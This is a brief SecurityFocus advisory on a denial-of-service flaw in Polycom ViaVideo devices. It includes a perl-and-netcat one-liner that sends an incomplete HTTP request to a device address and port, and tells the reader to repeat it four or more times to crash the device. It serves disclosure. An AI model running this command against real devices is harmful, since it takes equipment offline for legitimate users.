source: http://www.securityfocus.com/bid/5962/info

Polycom ViaVideo devices are prone to a denial of service condition upon receipt of numerous incomplete HTTP requests. This may restrict availability of the device for legitimate users.

The device may need to be restarted to regain normal functionality. 

perl -e 'print "GET " . "/" . " HTTP/1.1\r\n"' | netcat 10.1.3.54 3603 &

Issue the above command four or more times to cause the denial of service condition. 